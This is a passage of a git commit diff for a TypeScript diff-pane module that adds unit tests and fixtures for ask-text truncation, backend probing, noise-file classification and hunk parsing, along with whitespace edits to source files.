Skip to content

Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.

TypeScript

mods: the diff, sec-default and telemetry tests move next to the mods (#93951)

Alice T'Poteat18be13be8153
diff --git a/mods/diff/hooks/ask/fitted-ask-text-of.ts b/mods/diff/hooks/ask/fitted-ask-text-of.ts
index cab7aa69..b06a53a9 100644
--- a/mods/diff/hooks/ask/fitted-ask-text-of.ts
+++ b/mods/diff/hooks/ask/fitted-ask-text-of.ts
@@ -17,6 +17,7 @@ export function fittedAskTextOf(
}
const kept: string[] = []
+
let used = ASK_CUT_NOTE.length
for (const line of text.split('\n')) {
diff --git a/mods/diff/hooks/git/parse/parse-numstat.ts b/mods/diff/hooks/git/parse/parse-numstat.ts
index 3354bdeb..62244f58 100644
--- a/mods/diff/hooks/git/parse/parse-numstat.ts
+++ b/mods/diff/hooks/git/parse/parse-numstat.ts
@@ -20,6 +20,7 @@ export function parseNumstat(
const files: Types.FileStat[] = []
const stats = { filesCount: 0, linesAdded: 0, linesRemoved: 0 }
const records = stdout.split('\0')
+
let at = 0
while (at < records.length) {
diff --git a/mods/diff/hooks/git/probes/kind-walk-of/kind-walk-of.ts b/mods/diff/hooks/git/probes/kind-walk-of/kind-walk-of.ts
index aeb01436..fc2caf82 100644
--- a/mods/diff/hooks/git/probes/kind-walk-of/kind-walk-of.ts
+++ b/mods/diff/hooks/git/probes/kind-walk-of/kind-walk-of.ts
@@ -41,6 +41,7 @@ export function kindWalkOf(
async function kindOf(path: string): Promise<Types.WalkKind> {
const names = path === '' ? [] : path.split('/')
+
let directory = ''
for (const [depth, name] of names.entries()) {
diff --git a/mods/diff/hooks/register.ts b/mods/diff/hooks/register.ts
index fc0c03ff..86fbe141 100644
--- a/mods/diff/hooks/register.ts
+++ b/mods/diff/hooks/register.ts
@@ -43,8 +43,11 @@ export function register(on: On) {
let isRefreshQueued = false
let generation = 0
let bodyKey: string | null = null
+
const polled = { toplevel: '', headKey: '' }
+
let model: PaneState.PaneModel = PaneState.INITIAL_MODEL
+
const timers = new Map<'refresh' | 'redraw' | 'poll', Timer>()
const loggedBaseKinds = new Set<'ok' | 'sad'>()
diff --git a/mods/diff/hooks/views/detail/code-blocks-of/code-blocks-of.ts b/mods/diff/hooks/views/detail/code-blocks-of/code-blocks-of.ts
index e8a38e0c..dd679669 100644
--- a/mods/diff/hooks/views/detail/code-blocks-of/code-blocks-of.ts
+++ b/mods/diff/hooks/views/detail/code-blocks-of/code-blocks-of.ts
@@ -23,6 +23,7 @@ import { drawnLineOf } from './drawn-line-of'
*/
export function codeBlocksOf(hunks: readonly Git.Hunk[]): Types.CodeBody {
const blocks: Types.CodeBlock[] = []
+
let chars = 0
let nodes = 0
let isTruncated = false
diff --git a/mods/diff/hooks/views/detail/sub-hunks-of/sub-hunks-of.ts b/mods/diff/hooks/views/detail/sub-hunks-of/sub-hunks-of.ts
index 2c6c7593..00b5b019 100644
--- a/mods/diff/hooks/views/detail/sub-hunks-of/sub-hunks-of.ts
+++ b/mods/diff/hooks/views/detail/sub-hunks-of/sub-hunks-of.ts
@@ -19,6 +19,7 @@ export function subHunksOf(
maxChars: number,
): Pick<Git.FileHunks, 'hunks' | 'isTruncated'> {
const hunks: Git.Hunk[] = []
+
let rest = hunk
let isTruncated = false
diff --git a/mods/diff/hooks/views/layout/truncate-start/truncate-start.ts b/mods/diff/hooks/views/layout/truncate-start/truncate-start.ts
index 3cf30e0e..3981f0a0 100644
--- a/mods/diff/hooks/views/layout/truncate-start/truncate-start.ts
+++ b/mods/diff/hooks/views/layout/truncate-start/truncate-start.ts
@@ -18,6 +18,7 @@ export function truncateStart(text: string, cells: number) {
}
const characters = [...text]
+
let kept = ''
for (let at = characters.length - 1; at >= 0; at--) {
diff --git a/mods/diff/hooks/views/layout/wrapped-lines/wrapped-lines.ts b/mods/diff/hooks/views/layout/wrapped-lines/wrapped-lines.ts
index 0e921424..04452cfb 100644
--- a/mods/diff/hooks/views/layout/wrapped-lines/wrapped-lines.ts
+++ b/mods/diff/hooks/views/layout/wrapped-lines/wrapped-lines.ts
@@ -18,6 +18,7 @@ export function wrappedLines(text: string, columns: number): string[] {
for (const [index, word] of words.entries()) {
const wordWidth = cellWidth(word)
+
let rowWidth = cellWidth(rows[rows.length - 1] ?? '')
if (index !== 0) {
@@ -39,6 +40,7 @@ export function wrappedLines(text: string, columns: number): string[] {
}
const characters = [...word]
+
let visible = cellWidth(rows[rows.length - 1] ?? '')
for (const [at, character] of characters.entries()) {
diff --git a/mods/diff/tests/ask/fitted-ask-text-of.test.ts b/mods/diff/tests/ask/fitted-ask-text-of.test.ts
new file mode 100644
index 00000000..f98c6f48
--- /dev/null
+++ b/mods/diff/tests/ask/fitted-ask-text-of.test.ts
@@ -0,0 +1,33 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Ask from '../../hooks/ask'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('fitted-ask-text-of', () => {
+ test('an ask that fits rides whole', () => {
+ expect(
+ Ask.fittedAskTextOf(Fixtures.ASK_TEXT, Fixtures.ASK_TEXT.length),
+ ).toBe(Fixtures.ASK_TEXT)
+ })
+
+ test('an ask past the room keeps its first lines and the cut note', () => {
+ const fitted = Ask.fittedAskTextOf(
+ Fixtures.ASK_TEXT,
+ Fixtures.ROOM_FOR_TWO_LINES,
+ )
+
+ expect(fitted).toBe(
+ `${Fixtures.ASK_LINES.slice(0, 2).join('\n')}\n${Ask.ASK_CUT_NOTE}`,
+ )
+
+ expect(fitted?.length).toBeLessThanOrEqual(Fixtures.ROOM_FOR_TWO_LINES)
+ })
+
+ test('an ask whose first hunk line does not fit is not attached', () => {
+ expect(
+ Ask.fittedAskTextOf(Fixtures.ASK_TEXT, Fixtures.ROOM_FOR_ONE_LINE),
+ ).toBeUndefined()
+ })
+})
diff --git a/mods/diff/tests/backend/backend-of.test.ts b/mods/diff/tests/backend/backend-of.test.ts
new file mode 100644
index 00000000..f9412243
--- /dev/null
+++ b/mods/diff/tests/backend/backend-of.test.ts
@@ -0,0 +1,62 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Backend from '../../hooks/backend'
+import Fixtures from '../fixtures'
+
+tier('builtin')
+
+describe('backend-of', () => {
+ test('as published: no probes, so git or nothing', async () => {
+ const inGit = Fixtures.gitHostOf()
+ const outside = Fixtures.recordingBackendHostOf({})
+
+ expect((await Backend.backendOf(inGit.host, []))?.words.lister).toBe('git')
+ expect(await Backend.backendOf(outside.host, [])).toBeNull()
+ expect([inGit.programs, outside.programs]).toEqual([['git'], ['git']])
+ })
+
+ test('a declining probe leaves a git working tree to git', async () => {
+ const declining = Fixtures.recordingProbeOf(null)
+ const inGit = Fixtures.gitHostOf()
+ const backend = await Backend.backendOf(inGit.host, [declining.probe])
+
+ expect(backend?.words.lister).toBe('git')
+ expect(backend?.baseModes).toEqual(['session', 'uncommitted', 'branch'])
+ expect(declining.asked).toEqual([inGit.host])
+ expect(inGit.programs).toEqual(['git'])
+ })
+
+ test('a probe that answers pins before git is asked', async () => {
+ const inGit = Fixtures.gitHostOf()
+
+ const backend = await Backend.backendOf(inGit.host, [
+ Fixtures.recordingProbeOf('/home/me/src').probe,
+ ])
+
+ expect(backend?.repository).toEqual({ toplevel: '/home/me/src' })
+ expect(inGit.programs).toEqual([])
+ })
+
+ test('the probes are asked in order and the first answer pins', async () => {
+ const declining = Fixtures.recordingProbeOf(null)
+ const first = Fixtures.recordingProbeOf('/first')
+ const second = Fixtures.recordingProbeOf('/second')
+ const { host } = Fixtures.recordingBackendHostOf({})
+
+ const backend = await Backend.backendOf(host, [
+ declining.probe,
+ first.probe,
+ second.probe,
+ ])
+
+ expect(backend?.repository).toEqual({ toplevel: '/first' })
+
+ expect([
+ declining.asked.length,
+ first.asked.length,
+ second.asked.length,
+ ]).toEqual([1, 1, 0])
+
+ expect(declining.asked[0]).toBe(host)
+ })
+})
diff --git a/mods/diff/tests/classify/is-noise-file.test.ts b/mods/diff/tests/classify/is-noise-file.test.ts
new file mode 100644
index 00000000..4a1fd54f
--- /dev/null
+++ b/mods/diff/tests/classify/is-noise-file.test.ts
@@ -0,0 +1,40 @@
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Classify from '../../hooks/classify'
+
+tier('builtin')
+
+describe('is-noise-file', () => {
+ test('tests, fixtures and snapshots are noise', () => {
+ for (const path of [
+ 'test/a.ts',
+ 'src/x/__tests__/y.ts',
+ 'lib/foo.test.tsx',
+ 'pkg/bar_test.go',
+ 'web/fixtures/data.json',
+ 'ui/__snapshots__/a.snap',
+ ]) {
+ expect(Classify.isNoiseFile(path), path).toBe(true)
+ }
+ })
+
+ test('lockfiles, builds, minified and generated files are noise', () => {
+ for (const path of [
+ 'bun.lock',
+ 'package-lock.json',
+ 'dist/index.js',
+ 'assets/app.min.js',
+ 'types/api.d.ts',
+ 'src/constants/prompts.generated/x.ts',
+ 'proto/service.pb.go',
+ ]) {
+ expect(Classify.isNoiseFile(path), path).toBe(true)
+ }
+ })
+
+ test('source is not, even with test inside a longer word', () => {
+ for (const path of ['src/contest/entry.ts', 'src/latest.ts', 'README.md']) {
+ expect(Classify.isNoiseFile(path), path).toBe(false)
+ }
+ })
+})
diff --git a/mods/diff/tests/fixtures/ask/ask-lines.ts b/mods/diff/tests/fixtures/ask/ask-lines.ts
new file mode 100644
index 00000000..2cf0bc74
--- /dev/null
+++ b/mods/diff/tests/fixtures/ask/ask-lines.ts
@@ -0,0 +1,12 @@
+/**
+ * The lines of an armed ask: where it came from, then one hunk long enough
+ * that two lines and the cut note take less room than the whole.
+ */
+export const ASK_LINES: readonly string[] = [
+ 'The user attached the diff of a.txt from the diff pane to this prompt:',
+ '@@ -1,3 +1,3 @@',
+ '-the first old line of a.txt, long enough to take up some room',
+ '-the second old line of a.txt, long enough to take up some room',
+ '+the first new line of a.txt, long enough to take up some room',
+ '+the second new line of a.txt, long enough to take up some room',
+]
diff --git a/mods/diff/tests/fixtures/ask/ask-text.ts b/mods/diff/tests/fixtures/ask/ask-text.ts
new file mode 100644
index 00000000..4ad8683e
--- /dev/null
+++ b/mods/diff/tests/fixtures/ask/ask-text.ts
@@ -0,0 +1,6 @@
+import { ASK_LINES } from './ask-lines.js'
+
+/**
+ * ASK_LINES as the one text an armed ask carries.
+ */
+export const ASK_TEXT = ASK_LINES.join('\n')
diff --git a/mods/diff/tests/fixtures/ask/index.ts b/mods/diff/tests/fixtures/ask/index.ts
new file mode 100644
index 00000000..e363e74f
--- /dev/null
+++ b/mods/diff/tests/fixtures/ask/index.ts
@@ -0,0 +1,6 @@
+export * from './ask-lines.js'
+export * from './ask-text.js'
+export * from './room-for-one-line.js'
+export * from './room-for-two-lines.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/ask/room-for-one-line.ts b/mods/diff/tests/fixtures/ask/room-for-one-line.ts
new file mode 100644
index 00000000..7a61be6e
--- /dev/null
+++ b/mods/diff/tests/fixtures/ask/room-for-one-line.ts
@@ -0,0 +1,8 @@
+import Ask from '../../../hooks/ask'
+import { ASK_LINES } from './ask-lines.js'
+
+/**
+ * Room for ASK_LINES' heading line and the cut note only, so no hunk line.
+ */
+export const ROOM_FOR_ONE_LINE =
+ (ASK_LINES[0]?.length ?? 0) + 1 + Ask.ASK_CUT_NOTE.length
diff --git a/mods/diff/tests/fixtures/ask/room-for-two-lines.ts b/mods/diff/tests/fixtures/ask/room-for-two-lines.ts
new file mode 100644
index 00000000..9430c414
--- /dev/null
+++ b/mods/diff/tests/fixtures/ask/room-for-two-lines.ts
@@ -0,0 +1,11 @@
+import Ask from '../../../hooks/ask'
+import { ASK_LINES } from './ask-lines.js'
+
+/**
+ * Room for ASK_LINES' first two lines and the cut note, each line with its
+ * newline, and not a character more.
+ */
+export const ROOM_FOR_TWO_LINES = ASK_LINES.slice(0, 2).reduce(
+ (sum, line) => sum + line.length + 1,
+ Ask.ASK_CUT_NOTE.length,
+)
diff --git a/mods/diff/tests/fixtures/backend-of/backend-host-of.ts b/mods/diff/tests/fixtures/backend-of/backend-host-of.ts
new file mode 100644
index 00000000..dbd538d2
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/backend-host-of.ts
@@ -0,0 +1,20 @@
+import type Backend from '../../../hooks/backend'
+
+/**
+ * A backend host around one runner: every other member answers nothing (no
+ * file, no mtime, no listing, time zero, a base callback that ignores).
+ *
+ * @param run the host's runner
+ * @returns the host
+ */
+export const backendHostOf = (
+ run: Backend.BackendHost['run'],
+): Backend.BackendHost => ({
+ run,
+ readFile: () => Promise.reject(new Error('ENOENT')),
+ mtimeOf: () => Promise.resolve(null),
+ entryKindsOf: () => Promise.resolve(null),
+ nowMs: () => Promise.resolve(0),
+ sessionStartMsOf: () => 0,
+ onBranchBase: () => undefined,
+})
diff --git a/mods/diff/tests/fixtures/backend-of/git-host-of.ts b/mods/diff/tests/fixtures/backend-of/git-host-of.ts
new file mode 100644
index 00000000..91ee5781
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/git-host-of.ts
@@ -0,0 +1,13 @@
+import Scripted from '../scripted'
+import { GIT_WORKTREE } from './git-worktree.js'
+import { recordingBackendHostOf } from './recording-backend-host-of.js'
+import type { RecordingBackendHost } from './recording-backend-host.js'
+
+/**
+ * A recording backend host inside a git working tree: `rev-parse` answers
+ * the three lines, nothing else is scripted.
+ *
+ * @returns the host and the programs it ran
+ */
+export const gitHostOf = (): RecordingBackendHost =>
+ recordingBackendHostOf({ 'rev-parse': Scripted.ok(GIT_WORKTREE) })
diff --git a/mods/diff/tests/fixtures/backend-of/git-worktree.ts b/mods/diff/tests/fixtures/backend-of/git-worktree.ts
new file mode 100644
index 00000000..091504d8
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/git-worktree.ts
@@ -0,0 +1,5 @@
+/**
+ * `git rev-parse`'s three lines inside a working tree at /r: the toplevel,
+ * the git dir, the common dir.
+ */
+export const GIT_WORKTREE = '/r\n/r/.git\n/r/.git\n'
diff --git a/mods/diff/tests/fixtures/backend-of/index.ts b/mods/diff/tests/fixtures/backend-of/index.ts
new file mode 100644
index 00000000..af70d577
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/index.ts
@@ -0,0 +1,10 @@
+export * from './backend-host-of.js'
+export * from './git-host-of.js'
+export * from './git-worktree.js'
+export type * from './recording-backend-host.js'
+export * from './recording-backend-host-of.js'
+export type * from './recording-probe.js'
+export * from './recording-probe-of.js'
+export * from './stub-backend-of.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/backend-of/recording-backend-host-of.ts b/mods/diff/tests/fixtures/backend-of/recording-backend-host-of.ts
new file mode 100644
index 00000000..8f063b56
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/recording-backend-host-of.ts
@@ -0,0 +1,27 @@
+import type { ProcessRunResult } from 'claude-code'
+
+import Scripted from '../scripted'
+import { backendHostOf } from './backend-host-of.js'
+import type { RecordingBackendHost } from './recording-backend-host.js'
+
+/**
+ * A backend host whose runner answers from a script and notes each program
+ * it was asked to run.
+ *
+ * @param script git's answers by subcommand
+ * @returns the host and the programs it ran, in order
+ */
+export function recordingBackendHostOf(
+ script: Readonly<Record<string, ProcessRunResult>>,
+): RecordingBackendHost {
+ const programs: (string | undefined)[] = []
+ const scripted = Scripted.scriptedGitOf(script)
+
+ const host = backendHostOf(([program, ...rest]) => {
+ programs.push(program)
+
+ return scripted.run(rest)
+ })
+
+ return { host, programs }
+}
diff --git a/mods/diff/tests/fixtures/backend-of/recording-backend-host.ts b/mods/diff/tests/fixtures/backend-of/recording-backend-host.ts
new file mode 100644
index 00000000..b5744f99
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/recording-backend-host.ts
@@ -0,0 +1,10 @@
+import type Backend from '../../../hooks/backend'
+
+/**
+ * A backend host under test with the programs its runner was asked to run,
+ * in order.
+ */
+export type RecordingBackendHost = {
+ host: Backend.BackendHost
+ programs: readonly (string | undefined)[]
+}
diff --git a/mods/diff/tests/fixtures/backend-of/recording-probe-of.ts b/mods/diff/tests/fixtures/backend-of/recording-probe-of.ts
new file mode 100644
index 00000000..ff27b66c
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/recording-probe-of.ts
@@ -0,0 +1,24 @@
+import type Backend from '../../../hooks/backend'
+import type { RecordingProbe } from './recording-probe.js'
+import { stubBackendOf } from './stub-backend-of.js'
+
+/**
+ * A backend probe that notes each host it is asked about and answers a stub
+ * backend at the toplevel, or declines (null) when given none.
+ *
+ * @param toplevel the working copy's root, or null to decline
+ * @returns the probe and the hosts it was asked about, in order
+ */
+export function recordingProbeOf(toplevel: string | null): RecordingProbe {
+ const asked: Backend.BackendHost[] = []
+ const answer = toplevel === null ? null : stubBackendOf(toplevel)
+
+ return {
+ asked,
+ probe: host => {
+ asked.push(host)
+
+ return Promise.resolve(answer)
+ },
+ }
+}
diff --git a/mods/diff/tests/fixtures/backend-of/recording-probe.ts b/mods/diff/tests/fixtures/backend-of/recording-probe.ts
new file mode 100644
index 00000000..d7ff9c6c
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/recording-probe.ts
@@ -0,0 +1,9 @@
+import type Backend from '../../../hooks/backend'
+
+/**
+ * A backend probe under test with the hosts it was asked about, in order.
+ */
+export type RecordingProbe = {
+ probe: Backend.BackendProbe
+ asked: readonly Backend.BackendHost[]
+}
diff --git a/mods/diff/tests/fixtures/backend-of/stub-backend-of.ts b/mods/diff/tests/fixtures/backend-of/stub-backend-of.ts
new file mode 100644
index 00000000..3a20b44d
--- /dev/null
+++ b/mods/diff/tests/fixtures/backend-of/stub-backend-of.ts
@@ -0,0 +1,18 @@
+import type { Backend } from '../../../hooks/backend'
+import Git from '../../../hooks/git'
+
+/**
+ * A backend that holds a working copy at a toplevel and fetches nothing,
+ * its lister word the toplevel so a test can tell which probe pinned.
+ *
+ * @param toplevel the working copy's root
+ * @returns the backend
+ */
+export const stubBackendOf = (toplevel: string): Backend => ({
+ repository: { toplevel },
+ baseModes: ['uncommitted'],
+ words: { ...Git.GIT_WORDS, lister: toplevel },
+ fetchDiff: () => Promise.resolve({ kind: 'unavailable' }),
+ fetchFileHunks: () => Promise.resolve(null),
+ headKeyOf: () => Promise.resolve(''),
+})
diff --git a/mods/diff/tests/fixtures/base-label-of/at-sha.ts b/mods/diff/tests/fixtures/base-label-of/at-sha.ts
new file mode 100644
index 00000000..24cf3d9e
--- /dev/null
+++ b/mods/diff/tests/fixtures/base-label-of/at-sha.ts
@@ -0,0 +1,9 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A working-tree source whose backend names its own base, a short sha.
+ */
+export const AT_SHA: Git.DiffSource = {
+ kind: 'working-tree',
+ base: '8634408015c1',
+}
diff --git a/mods/diff/tests/fixtures/base-label-of/index.ts b/mods/diff/tests/fixtures/base-label-of/index.ts
new file mode 100644
index 00000000..05eafc4c
--- /dev/null
+++ b/mods/diff/tests/fixtures/base-label-of/index.ts
@@ -0,0 +1,5 @@
+export * from './at-sha.js'
+export * from './one-file.js'
+export * from './working-tree.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/base-label-of/one-file.ts b/mods/diff/tests/fixtures/base-label-of/one-file.ts
new file mode 100644
index 00000000..5fb68c32
--- /dev/null
+++ b/mods/diff/tests/fixtures/base-label-of/one-file.ts
@@ -0,0 +1,10 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * The totals of a diff with one file of one added line.
+ */
+export const ONE_FILE: Git.DiffStats = {
+ filesCount: 1,
+ linesAdded: 1,
+ linesRemoved: 0,
+}
diff --git a/mods/diff/tests/fixtures/base-label-of/working-tree.ts b/mods/diff/tests/fixtures/base-label-of/working-tree.ts
new file mode 100644
index 00000000..5e6ba6e2
--- /dev/null
+++ b/mods/diff/tests/fixtures/base-label-of/working-tree.ts
@@ -0,0 +1,9 @@
+import type Git from '../../../hooks/git'
+
+/**
+ * A diff source that compares against the working tree, its base HEAD.
+ */
+export const WORKING_TREE: Git.DiffSource = {
+ kind: 'working-tree',
+ base: 'HEAD',
+}
diff --git a/mods/diff/tests/fixtures/big-lines.ts b/mods/diff/tests/fixtures/big-lines.ts
new file mode 100644
index 00000000..ef3e047c
--- /dev/null
+++ b/mods/diff/tests/fixtures/big-lines.ts
@@ -0,0 +1,4 @@
+/**
+ * A hunk length past what one turn's diff keeps whole.
+ */
+export const BIG_LINES = 1000
diff --git a/mods/diff/tests/fixtures/branch-base-of/feature-head.ts b/mods/diff/tests/fixtures/branch-base-of/feature-head.ts
new file mode 100644
index 00000000..4c3f3a48
--- /dev/null
+++ b/mods/diff/tests/fixtures/branch-base-of/feature-head.ts
@@ -0,0 +1,4 @@
+/**
+ * What `rev-parse HEAD` answers on the feature branch.
+ */
+export const FEATURE_HEAD = 'cccccccccccccccccccccccccccccccccccccccc'
diff --git a/mods/diff/tests/fixtures/branch-base-of/index.ts b/mods/diff/tests/fixtures/branch-base-of/index.ts
new file mode 100644
index 00000000..10193a8f
--- /dev/null
+++ b/mods/diff/tests/fixtures/branch-base-of/index.ts
@@ -0,0 +1,5 @@
+export * from './feature-head.js'
+export * from './local-base.js'
+export * from './origin-base.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/branch-base-of/local-base.ts b/mods/diff/tests/fixtures/branch-base-of/local-base.ts
new file mode 100644
index 00000000..912c8029
--- /dev/null
+++ b/mods/diff/tests/fixtures/branch-base-of/local-base.ts
@@ -0,0 +1,5 @@
+/**
+ * The merge-base of HEAD and the local default branch, when it differs
+ * from the remote's.
+ */
+export const LOCAL_BASE = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
diff --git a/mods/diff/tests/fixtures/branch-base-of/origin-base.ts b/mods/diff/tests/fixtures/branch-base-of/origin-base.ts
new file mode 100644
index 00000000..bf096ef3
--- /dev/null
+++ b/mods/diff/tests/fixtures/branch-base-of/origin-base.ts
@@ -0,0 +1,4 @@
+/**
+ * The merge-base of HEAD and the remote's default branch.
+ */
+export const ORIGIN_BASE = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
diff --git a/mods/diff/tests/fixtures/checkout.ts b/mods/diff/tests/fixtures/checkout.ts
new file mode 100644
index 00000000..d6e0c6c0
--- /dev/null
+++ b/mods/diff/tests/fixtures/checkout.ts
@@ -0,0 +1,11 @@
+import type Git from '../../hooks/git'
+
+/**
+ * Where every model and view fixture sits: a plain checkout at `/r` whose
+ * git dir is its common dir.
+ */
+export const CHECKOUT: Git.Repository = {
+ toplevel: '/r',
+ gitDir: '/r/.git',
+ commonDir: '/r/.git',
+}
diff --git a/mods/diff/tests/fixtures/code-blocks-of/are-contiguous.ts b/mods/diff/tests/fixtures/code-blocks-of/are-contiguous.ts
new file mode 100644
index 00000000..0f9986d3
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/are-contiguous.ts
@@ -0,0 +1,19 @@
+import type { ParsedHunk } from './parsed-hunk.js'
+
+/**
+ * Whether each hunk starts where the one before it ended, on both sides:
+ * the sub-hunks of one hunk split leave no line out and repeat none.
+ *
+ * @param parts the hunks in order
+ * @returns true when they abut
+ */
+export const areContiguous = (parts: readonly ParsedHunk[]): boolean =>
+ parts.slice(1).every((part, at) => {
+ const before = parts[at]
+
+ return (
+ before !== undefined &&
+ part.oldStart === before.oldStart + before.oldLines &&
+ part.newStart === before.newStart + before.newLines
+ )
+ })
diff --git a/mods/diff/tests/fixtures/code-blocks-of/hunks-of.ts b/mods/diff/tests/fixtures/code-blocks-of/hunks-of.ts
new file mode 100644
index 00000000..52814c99
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/hunks-of.ts
@@ -0,0 +1,36 @@
+import type { ParsedHunk } from './parsed-hunk.js'
+
+/**
+ * The hunks a unified-diff `Code` source holds, read as a surface reads
+ * them.
+ *
+ * Each `@@ -a,b +c,d @@` header opens one and the lines under it are its
+ * body; a source that opens with no header holds none.
+ *
+ * @param source the `Code` element's source
+ * @returns the hunks in order
+ */
+export function hunksOf(source: string): ParsedHunk[] {
+ const hunks: ParsedHunk[] = []
+
+ for (const line of source.split('\n')) {
+ const header = /^@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@/.exec(line)
+ const last = hunks.at(-1)
+
+ if (header) {
+ hunks.push({
+ oldStart: Number(header[1]),
+ oldLines: Number(header[2] ?? 1),
+ newStart: Number(header[3]),
+ newLines: Number(header[4] ?? 1),
+ lines: [],
+ })
+ } else if (last) {
+ hunks[hunks.length - 1] = { ...last, lines: [...last.lines, line] }
+ } else {
+ return []
+ }
+ }
+
+ return hunks
+}
diff --git a/mods/diff/tests/fixtures/code-blocks-of/index.ts b/mods/diff/tests/fixtures/code-blocks-of/index.ts
new file mode 100644
index 00000000..582bd878
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/index.ts
@@ -0,0 +1,10 @@
+export * from './are-contiguous.js'
+export * from './hunks-of.js'
+export * from './is-within-code-cap.js'
+export * from './mathematical-bold-a.js'
+export type * from './parsed-hunk.js'
+export * from './parsed-hunks-of.js'
+export * from './wide-hunk.js'
+export * from './wide-line-letters.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts b/mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts
new file mode 100644
index 00000000..9f739528
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/is-within-code-cap.ts
@@ -0,0 +1,11 @@
+import Views from '../../../hooks/views'
+
+/**
+ * Whether a block's source is one a `Code` element may carry: at most
+ * MAX_CODE_CHARS, counted in UTF-16 units as the engine counts.
+ *
+ * @param block the block
+ * @returns true when the source fits
+ */
+export const isWithinCodeCap = (block: Views.CodeBlock): boolean =>
+ block.source.length <= Views.MAX_CODE_CHARS
diff --git a/mods/diff/tests/fixtures/code-blocks-of/mathematical-bold-a.ts b/mods/diff/tests/fixtures/code-blocks-of/mathematical-bold-a.ts
new file mode 100644
index 00000000..13c370fb
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/mathematical-bold-a.ts
@@ -0,0 +1,7 @@
+/**
+ * U+1D400, a letter beyond the Basic Multilingual Plane: one character on
+ * screen, two UTF-16 units in a string.
+ *
+ * A `Code` source's length is charged in those units.
+ */
+export const MATHEMATICAL_BOLD_A = '\u{1D400}'
diff --git a/mods/diff/tests/fixtures/code-blocks-of/parsed-hunk.ts b/mods/diff/tests/fixtures/code-blocks-of/parsed-hunk.ts
new file mode 100644
index 00000000..82c20b20
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/parsed-hunk.ts
@@ -0,0 +1,11 @@
+/**
+ * One hunk read back out of a `Code` source: its header's four numbers and
+ * the marked lines under it.
+ */
+export type ParsedHunk = {
+ oldStart: number
+ oldLines: number
+ newStart: number
+ newLines: number
+ lines: readonly string[]
+}
diff --git a/mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts b/mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts
new file mode 100644
index 00000000..03b38927
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/parsed-hunks-of.ts
@@ -0,0 +1,12 @@
+import type Views from '../../../hooks/views'
+import { hunksOf } from './hunks-of.js'
+import type { ParsedHunk } from './parsed-hunk.js'
+
+/**
+ * Every hunk a body's `Code` blocks hold, in drawing order.
+ *
+ * @param body the file's body as `codeBlocksOf` cut it
+ * @returns the hunks read back out of each block's source
+ */
+export const parsedHunksOf = (body: Views.CodeBody): ParsedHunk[] =>
+ body.blocks.flatMap(block => hunksOf(block.source))
diff --git a/mods/diff/tests/fixtures/code-blocks-of/wide-hunk.ts b/mods/diff/tests/fixtures/code-blocks-of/wide-hunk.ts
new file mode 100644
index 00000000..9ac944e9
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/wide-hunk.ts
@@ -0,0 +1,25 @@
+import type Git from '../../../hooks/git'
+import { WIDE_LINE_LETTERS } from './wide-line-letters.js'
+
+/**
+ * A hunk of wide lines cycling context, removed and added: at its defaults
+ * two share a `Code` and three do not.
+ *
+ * @param start the first line's number on both sides
+ * @param count how many lines
+ * @param letter the character each line repeats WIDE_LINE_LETTERS times
+ * @returns the hunk
+ */
+export function wideHunk(start = 1, count = 40, letter = 'x'): Git.Hunk {
+ const markers = [' ', '-', '+']
+
+ return {
+ oldStart: start,
+ newStart: start,
+ lines: Array.from(
+ { length: count },
+ (_, row) =>
+ `${markers[row % markers.length]}${letter.repeat(WIDE_LINE_LETTERS)}`,
+ ),
+ }
+}
diff --git a/mods/diff/tests/fixtures/code-blocks-of/wide-line-letters.ts b/mods/diff/tests/fixtures/code-blocks-of/wide-line-letters.ts
new file mode 100644
index 00000000..5bb512b2
--- /dev/null
+++ b/mods/diff/tests/fixtures/code-blocks-of/wide-line-letters.ts
@@ -0,0 +1,4 @@
+/**
+ * How many letters follow each marker in a wide hunk's line.
+ */
+export const WIDE_LINE_LETTERS = 99
diff --git a/mods/diff/tests/fixtures/datings-of/index.ts b/mods/diff/tests/fixtures/datings-of/index.ts
new file mode 100644
index 00000000..2c2cc5d4
--- /dev/null
+++ b/mods/diff/tests/fixtures/datings-of/index.ts
@@ -0,0 +1,5 @@
+export * from './root-only-budget.js'
+export * from './tracked-row.js'
+export * from './two-listings-budget.js'
+
+export * as default from '.'
diff --git a/mods/diff/tests/fixtures/datings-of/root-only-budget.ts b/mods/diff/tests/fixtures/datings-of/root-only-budget.ts
new file mode 100644
index 00000000..66866555
--- /dev/null
